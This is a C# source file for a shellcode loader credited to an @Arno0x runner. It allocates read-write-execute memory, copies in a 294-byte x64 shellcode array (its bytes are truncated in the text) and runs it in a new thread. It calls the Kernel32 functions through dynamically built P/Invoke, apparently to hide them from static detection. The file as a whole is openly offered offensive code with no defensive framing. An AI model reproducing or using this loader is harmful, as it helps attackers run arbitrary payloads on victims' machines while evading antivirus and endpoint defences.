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Dynamic_PInvoke_Shellcode.cs
//original runner by @Arno0x: https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.cs
using System;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Reflection.Emit;
namespace ShellcodeLoader
{
class Program
{
static void Main(string[] args)
{
byte[] x64shellcode = new byte[294] {0xfc,0x48, ... };
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(uint)x64shellcode.Length,
(uint)StateEnum.MEM_COMMIT,
(uint)Protection.PAGE_EXECUTE_READWRITE);
Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length);
IntPtr hThread = IntPtr.Zero;
uint threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
public static object DynamicPInvokeBuilder(Type type, string library, string method, Object[] args, Type[] paramTypes)
{
AssemblyName assemblyName = new AssemblyName("Temp01");
AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run);
ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule("Temp02");
MethodBuilder methodBuilder = moduleBuilder.DefinePInvokeMethod(method, library, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.PinvokeImpl, CallingConventions.Standard, type, paramTypes, CallingConvention.Winapi, CharSet.Ansi);
methodBuilder.SetImplementationFlags(methodBuilder.GetMethodImplementationFlags() | MethodImplAttributes.PreserveSig);
moduleBuilder.CreateGlobalFunctions();
MethodInfo dynamicMethod = moduleBuilder.GetMethod(method);
object res = dynamicMethod.Invoke(null, args);
return res;
}
public static IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect)
{
Type[] paramTypes = { typeof(IntPtr), typeof(UInt32), typeof(UInt32), typeof(UInt32) };
Object[] args = { lpAddress, dwSize, flAllocationType, flProtect };
object res = DynamicPInvokeBuilder(typeof(IntPtr), "Kernel32.dll", "VirtualAlloc", args, paramTypes);
return (IntPtr)res;
}
public static IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, ref UInt32 lpThreadId)
{
Type[] paramTypes = { typeof(UInt32), typeof(UInt32), typeof(IntPtr), typeof(IntPtr), typeof(UInt32), typeof(UInt32).MakeByRefType() };
Object[] args = { lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId };
object res = DynamicPInvokeBuilder(typeof(IntPtr), "Kernel32.dll", "CreateThread", args, paramTypes);
return (IntPtr)res;
}
public static Int32 WaitForSingleObject(IntPtr Handle, UInt32 Wait)
{
Type[] paramTypes = { typeof(IntPtr), typeof(UInt32) };
Object[] args = { Handle, Wait };
object res = DynamicPInvokeBuilder(typeof(Int32), "Kernel32.dll", "WaitForSingleObject", args, paramTypes);
return (Int32)res;
}
public enum StateEnum
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000,
MEM_FREE = 0x10000
}
public enum Protection
{
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
}
}
}
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